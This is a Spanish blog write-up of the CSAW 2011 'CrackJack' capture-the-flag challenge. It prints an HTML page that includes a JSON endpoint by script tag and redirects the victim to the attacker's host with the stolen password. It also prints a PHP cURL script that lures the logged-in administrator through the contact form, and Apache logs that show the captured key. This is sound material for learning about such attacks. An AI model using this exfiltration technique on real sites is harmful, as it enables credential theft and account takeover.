lunes, 26 de septiembre de 2011

CSAW 2011 - Crackjack Writeup

CrackJack - 500 Points



Analizando el fuente HTML, encontramos codigo AJAX JSON, vulnerable a un ataque CSRF, que devuelve el password del usuario logueado, exactamente en la siguiente URL: http://csawctf.poly.edu:40004/challenge2/json/getcurrent.js (localmente http://192.168.4.4/challenge2/json/getcurrent.js).

Preparamos y publicamos el codigo para explotar dicha vulnerabilidad (cedido por @g30rg3_x):

cat.html:

<!DOCTYPE html>
<html>
        <head>
                <style>
                        p {
                                border: solid 1px;
                        }
                </style>
        </head>
        <body>
<p>
   <script src="http://192.168.4.4/challenge2/json/getcurrent.js"    type="text/javascript">
   </script>
<script type="text/javascript">
     document.location="http://my_public_ip/cat.html?"+current.password;
</script>
</p>
</body>
</html>


Luego enviamos el formulario de contacto via  POST para que el administrador, logueado en el site nos envie su pass:

<?php
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=f9r3bd72q2rkidj6vls1gvf6h3");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_URL, 'http://csawctf.poly.edu:40004/challenge2/contact.php');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "username=chucknorris&message=Picture cat programming en ajax!\r\nhttp://my_public_ip/cat.html\r\n&submit=send!");
    $data = curl_exec($ch);

    echo $data;
?>


Solo resta esperar, observando los logs de Apache donde se publico el XSS:

128.238.66.100 - - [25/Sep/2011:20:08:26 -0300] "GET /cat.html?2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 HTTP/1.1" 304 - "http://66.240.211.31/cat.html" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"
128.238.66.100 - - [25/Sep/2011:20:08:27 -0300] "GET /cat.html?2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 HTTP/1.1" 304 - "http://66.240.211.31/cat.html" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"
128.238.66.100 - - [25/Sep/2011:20:08:27 -0300] "GET /cat.html?2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 HTTP/1.1" 304 - "http://66.240.211.31/cat.html" "Mozilla/5.0 (compatible; Konqueror/4.6; Linux) KHTML/4.6.2 (like Gecko) Kubuntu"


Con la key 2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8 nos logueamos con  el usuario 'administrator' y obtenemos el flag.



No hay comentarios:

Publicar un comentario en la entrada